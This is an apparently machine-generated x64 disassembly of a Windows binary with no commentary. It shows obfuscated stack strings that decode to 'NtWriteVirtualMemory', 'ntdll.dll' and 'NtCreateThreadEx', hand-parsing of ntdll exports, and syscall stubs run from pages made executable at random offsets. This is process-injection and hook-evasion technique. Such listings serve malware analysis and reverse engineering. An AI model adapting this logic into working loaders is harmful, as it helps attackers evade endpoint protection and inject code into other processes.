mov qword [rsp + 0x70], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x78], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x68], ecx
movsxd rcx, eax
inc rcx
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x78]
test r8d, r8d
jle 0x140020bf0
lea r12d, [rax + 1]
mov r10d, r12d
mov r14, qword [rsp + 0x60]
mov ecx, r10d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r12d
add rdx, r12
cmp rdx, r8
jl 0x140020bc1
mov r14d, reloc.WLDAP32.dll_Ordinal_32
lea r12d, [r14 - 0x10]
mov dword [rsp + 0x68], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x68]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x60], r10
je 0x140020c4c
mov rax, rcx
lea r9, [rbp + 0xa1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140020c45
add rax, r11
test edx, edx
jne 0x140020c30
test r8d, r8d
cmove edi, r11d
call fcn.14008cef0
xor r9d, r9d
test dil, dil
jne 0x1400215e6
mov rax, qword [rsp + 0x70]
mov rax, qword [rax]
mov qword [rsp + 0x70], rax
cmp rax, qword [rbp - 0x78]
jne 0x140020b77
mov dword [rbp - 0x60], r9d
mov byte [rbp + 0x4e8], 0x40
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4e9], al
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4ea], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4eb], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4ec], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4ed], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4ee], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4ef], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4f0], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4f1], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4f2], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4f3], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4f4], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4f5], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4f6], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4f7], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4f8], al
mov r9, rsi
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4f9], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4fa], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4fb], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + 0x4fc], al
xor eax, eax
mov byte [rbp + 0x4fd], al
mov edi, eax
lea r12d, [rax + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x4e9]
lea rcx, [rbp + 0x4e8]
call fcn.14002e778
mov byte [rbp + rdi + 0x4e9], al
add rdi, r12
cmp rdi, rsi
jb 0x140020ec8
xor edi, edi
lea r12d, [rdi + 0x10]
mov byte [rbp + 0x4fd], dil
mov byte [rbp + 0x100], reloc.WLDAP32.dll_Ordinal_22
lea r14d, [rdi + 9]
mov r9d, r14d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x100]
call fcn.14002e000
mov byte [rbp + 0x101], al
mov r9d, r14d
lea r14d, [rdi + 1]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x100]
call fcn.14002e000
mov byte [rbp + 0x102], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x100]
call fcn.14002e000
mov byte [rbp + 0x103], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x100]
call fcn.14002e000
mov byte [rbp + 0x104], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x100]
call fcn.14002e000
mov byte [rbp + 0x105], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x100]
call fcn.14002e000
mov byte [rbp + 0x106], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x100]
call fcn.14002e000
mov byte [rbp + 0x107], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x100]
call fcn.14002e000
mov byte [rbp + 0x108], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x100]
call fcn.14002e000
mov byte [rbp + 0x109], al
xor eax, eax
mov byte [rbp + 0x10a], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x101]
lea rcx, [rbp + 0x100]
call fcn.14002e000
mov byte [rbp + rdi + 0x101], al
add rdi, r14
cmp rdi, 9
jb 0x14002100c
xor edi, edi
lea r14d, [rdi + 0x20]
mov byte [rbp + 0x10a], dil
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002115b
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x70], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x68], edi
movsxd rcx, eax
inc rcx
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x78]
test r8d, r8d
jle 0x1400210d8
lea ebx, [rax + 1]
mov r10d, ebx
mov rsi, qword [rsp + 0x60]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, ebx
add rdx, rbx
cmp rdx, r8
jl 0x1400210ad
mov ebx, reloc.WS2_32.dll_recvfrom
lea esi, [rbx + 3]
mov dword [rsp + 0x68], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x68]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x60], r10
je 0x140021134
mov rax, rcx
lea r9, [rbp + 0x101]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002112d
add rax, r11
test edx, edx
jne 0x140021118
test r8d, r8d
cmove edi, r11d
call fcn.14008cef0
test dil, dil
jne 0x140021834
mov rax, qword [rsp + 0x70]
mov rax, qword [rax]
mov qword [rsp + 0x70], rax
xor edi, edi
cmp rax, qword [rbp - 0x78]
jne 0x140021068
mov eax, edi
cmp dword [rbp - 0x60], edi
jl 0x1400255e2
test eax, eax
js 0x1400255e2
mov byte [rbp + 0x288], reloc.WLDAP32.dll_Ordinal_60
mov r9, r12
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x288]
call fcn.14002e078
mov byte [rbp + 0x289], al
mov r9, r12
mov ebx, 1
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x288]
call fcn.14002e078
mov byte [rbp + 0x28a], al
mov r9, r12
lea r8d, [rbx + 1]
mov dl, 0x43
lea rcx, [rbp + 0x288]
call fcn.14002e078
mov byte [rbp + 0x28b], al
mov r9, r12
lea r8d, [rbx + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x288]
call fcn.14002e078
mov byte [rbp + 0x28c], al
mov r9, r12
lea r8d, [rbx + 3]
mov dl, 0x65
lea rcx, [rbp + 0x288]
call fcn.14002e078
mov byte [rbp + 0x28d], al
mov r9, r12
lea r8d, [rbx + 4]
mov dl, 0x61
lea rcx, [rbp + 0x288]
call fcn.14002e078
mov byte [rbp + 0x28e], al
mov r9, r12
lea r8d, [rbx + 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x288]
call fcn.14002e078
mov byte [rbp + 0x28f], al
mov r9, r12
lea r8d, [rbx + 6]
mov dl, 0x65
lea rcx, [rbp + 0x288]
call fcn.14002e078
mov byte [rbp + 0x290], al
mov r9, r12
lea r8d, [rbx + 7]
mov dl, 0x54
lea rcx, [rbp + 0x288]
call fcn.14002e078
mov byte [rbp + 0x291], al
mov r9, r12
lea r8d, [rbx + 8]
mov dl, 0x68
lea rcx, [rbp + 0x288]
call fcn.14002e078
mov byte [rbp + 0x292], al
mov r9, r12
lea r8d, [rbx + 9]
mov dl, WSAStartup
lea rcx, [rbp + 0x288]
call fcn.14002e078
mov byte [rbp + 0x293], al
mov r9, r12
lea r8d, [rbx + 0xa]
mov dl, 0x65
lea rcx, [rbp + 0x288]
call fcn.14002e078
mov byte [rbp + 0x294], al
mov r9, r12
lea r8d, [rbx + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x288]
call fcn.14002e078
mov byte [rbp + 0x295], al
mov r9, r12
lea r8d, [rbx + 0xc]
mov dl, 0x64
lea rcx, [rbp + 0x288]
call fcn.14002e078
mov byte [rbp + 0x296], al
mov r9, r12
lea r8d, [rbx + 0xd]
mov dl, 0x45
lea rcx, [rbp + 0x288]
call fcn.14002e078
mov byte [rbp + 0x297], al
mov r9, r12
lea r8d, [rbx + 0xe]
mov dl, 0x78
lea rcx, [rbp + 0x288]
call fcn.14002e078
mov byte [rbp + 0x298], al
xor eax, eax
mov byte [rbp + 0x299], al
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x289]
lea rcx, [rbp + 0x288]
call fcn.14002e078
mov byte [rbp + rdi + 0x289], al
add rdi, rbx
cmp rdi, r12
jb 0x140021330
mov ebx, reloc.WS2_32.dll_recvfrom
xor edi, edi
mov byte [rbp + 0x299], dil
mov byte [rbp + 0xf0], Ordinal_32
lea r12d, [rbx - 8]
mov r9d, r12d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xf0]
call fcn.14002e000
mov byte [rbp + 0xf1], al
mov r9d, r12d
lea r12d, [rbx - 0x10]
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xf0]
call fcn.14002e000
mov byte [rbp + 0xf2], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xf]
mov dl, 0x64
lea rcx, [rbp + 0xf0]
call fcn.14002e000
mov byte [rbp + 0xf3], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xe]
mov dl, 0x6c
lea rcx, [rbp + 0xf0]
call fcn.14002e000
mov byte [rbp + 0xf4], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0xf0]
call fcn.14002e000
mov byte [rbp + 0xf5], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xf0]
call fcn.14002e000
mov byte [rbp + 0xf6], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xb]
mov dl, 0x64
lea rcx, [rbp + 0xf0]
call fcn.14002e000
mov byte [rbp + 0xf7], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0xf0]
call fcn.14002e000
mov byte [rbp + 0xf8], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 9]
mov dl, 0x6c
lea rcx, [rbp + 0xf0]
call fcn.14002e000
mov byte [rbp + 0xf9], al
xor eax, eax
mov byte [rbp + 0xfa], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0xf1]
lea rcx, [rbp + 0xf0]
call fcn.14002e000
mov byte [rbp + rdi + 0xf1], al
add rdi, r12
cmp rdi, 9
jb 0x140021475
mov r12d, reloc.WS2_32.dll_recv
xor r9d, r9d
mov byte [rbp + 0xfa], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140021cfa
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x70], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x78], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x68], ecx
movsxd rcx, eax
inc rcx
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x78]
test r8d, r8d
jle 0x140021548
lea esi, [rax + 1]
mov r10d, esi
mov rbx, qword [rsp + 0x60]
mov ecx, r10d
cmp word [rbx + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rbx + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x14002151d
mov ebx, reloc.WS2_32.dll_recvfrom
lea esi, [rbx + 3]
mov dword [rsp + 0x68], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x68]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x60], r10
je 0x1400215a4
mov rax, rcx
lea r9, [rbp + 0xf1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002159d
add rax, r11
test edx, edx
jne 0x140021588
test r8d, r8d
cmove edi, r11d
call fcn.14008cef0
xor r9d, r9d
test dil, dil
jne 0x140021a88
mov rax, qword [rsp + 0x70]
mov rax, qword [rax]
mov qword [rsp + 0x70], rax
cmp rax, qword [rbp - 0x78]
jne 0x1400214d4
jmp 0x140021cfa
mov edx, dword [rdx + 0x14]
sub rdx, rcx
add rdx, qword [r8]
add rdx, qword [rbp + 0xc10]
jmp 0x140020724
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140020c74
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140020c74
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140020c74
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140020c74
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140020c74
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x651]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140021678
inc rax
test edi, edi
jne 0x140021663
xor r9d, r9d
test r8d, r8d
je 0x14002168e
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x140021652
jmp 0x140020c74
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140020c74
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
mov ecx, 1
cmp eax, ecx
jl 0x140020c74
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x70], rax
call fcn.14008ce90
or dword [rbp + 0x1bf04], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1ab80]
call fcn.14002ef44
lea rcx, [rbp + 0x1ab80]
call fcn.14002e95c
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x1ab80]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rdi*8 + 0x34540], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x140021734
mov ebx, reloc.WS2_32.dll_recvfrom
mov rdi, qword [rsp + 0x70]
mov r8d, 0x1000
lea rdx, [rbp + 0x34540]
mov rcx, rdi
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xeb8], eax
lea r9, [rbp + 0xeb8]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x38]
mov r8, qword [rbp - 0x60]
mov rdx, qword [rbp + 0xc18]
mov rcx, qword [rbp - 0x40]
call rdi
mov dword [rbp - 0x60], eax
lea r9, [rbp + 0xeb8]
mov r8d, dword [rbp + 0xeb8]
mov edx, 0x1000
mov rdi, qword [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400b4da0
lea edx, [rbx - 6]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400dd364], eax
jmp 0x140020c78
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x14002115b
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002115b
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002115b
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002115b
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14002115b
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x4e9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400218c7
inc rax
test edi, edi
jne 0x1400218b2
xor edi, edi
test r8d, r8d
je 0x1400218dc
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x1400218a1
jmp 0x14002115b
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002115b
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002115b
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x70], rax
call fcn.14008ce90
or dword [rbp + 0x1d294], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1bf10]
call fcn.14002ef44
lea rcx, [rbp + 0x1bf10]
call fcn.14002e95c
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x1bf10]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rdi*8 + 0x35540], rax
add rdi, r14
cmp rdi, 0x200
jl 0x140021981
mov r14d, reloc.WLDAP32.dll_Ordinal_32
mov rdi, qword [rsp + 0x70]
mov r8d, 0x1000
lea rdx, [rbp + 0x35540]
mov rcx, rdi
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xeb4], eax
lea r9, [rbp + 0xeb4]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [r14 + 0x13]
lea r8, [rbp + 0x282b0]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x40]
call rdi
mov dword [rsp + 0x78], eax
lea r9, [rbp + 0xeb4]
mov r8d, dword [rbp + 0xeb4]
mov edx, 0x1000
mov rdi, qword [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400b4da0
lea edx, [r14 - 0x15]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
mov dword [0x1400dd364], edi
mov eax, dword [rsp + 0x78]
jmp 0x14002115d
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140021cfa
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140021cfa
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140021cfa
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140021cfa
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140021cfa
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x289]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140021b1a
inc rax
test edi, edi
jne 0x140021b05
mov edi, 1
test r8d, r8d
je 0x140021b32
add rdx, rdi
cmp rdx, qword [rbp - 0x70]
jb 0x140021af4
jmp 0x140021cff
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140021cff
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
cmp eax, edi
jl 0x140021cff
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x68], rax
call fcn.14008ce90
or dword [rbp + 0x8604], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7280]
call fcn.14002ef44
lea rcx, [rbp + 0x7280]
call fcn.14002e95c
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x7280]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rdi*8 + 0x36540], rax
add rdi, r14
cmp rdi, 0x200
jl 0x140021bd4
mov r14d, reloc.WLDAP32.dll_Ordinal_32
mov rdi, qword [rsp + 0x68]
mov r8d, 0x1000
lea rdx, [rbp + 0x36540]
mov rcx, rdi
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xeb0], eax
lea r9, [rbp + 0xeb0]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x40]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0xd70]
call rdi
mov edi, eax
lea r9, [rbp + 0xeb0]
mov r8d, dword [rbp + 0xeb0]
mov edx, 0x1000
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rsp + 0x68]
call fcn.1400b4da0
lea edx, [r14 - 0x15]
mov r8d, 0x8000
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400dd364], eax
test edi, edi
js 0x14002514c
mov edi, 1
mov rax, qword [rbp + 0xd70]
mov qword [rbp - 0x38], rax
cmp rax, 0xffffffffffffffff
je 0x14002514c
mov byte [rbp + 0x6e0], WSASetLastError
mov r14d, reloc.WS2_32.dll_setsockopt
mov r9d, r14d
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6e1], al
mov r9d, r14d
mov r8, rdi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6e2], al
mov r9d, r14d
lea r8d, [r14 - 0x13]
mov dl, 0x57
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6e3], al
mov r9d, r14d
lea r8d, [r14 - 0x12]
mov dl, 0x61
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6e4], al
mov r9d, r14d
lea r8d, [r14 - 0x11]
mov dl, 0x69
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6e5], al
mov r9d, r14d
lea r8d, [r14 - 0x10]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6e6], al
mov r9d, r14d
lea r8d, [r14 - 0xf]
mov dl, 0x46
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6e7], al
mov r9d, r14d
lea r8d, [r14 - 0xe]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
mov byte [rbp + 0x6e8], al
mov r9d, r14d
lea r8d, [r14 - 0xd]
mov dl, WSAStartup
lea rcx, [rbp + 0x6e0]
call fcn.14002e1e0
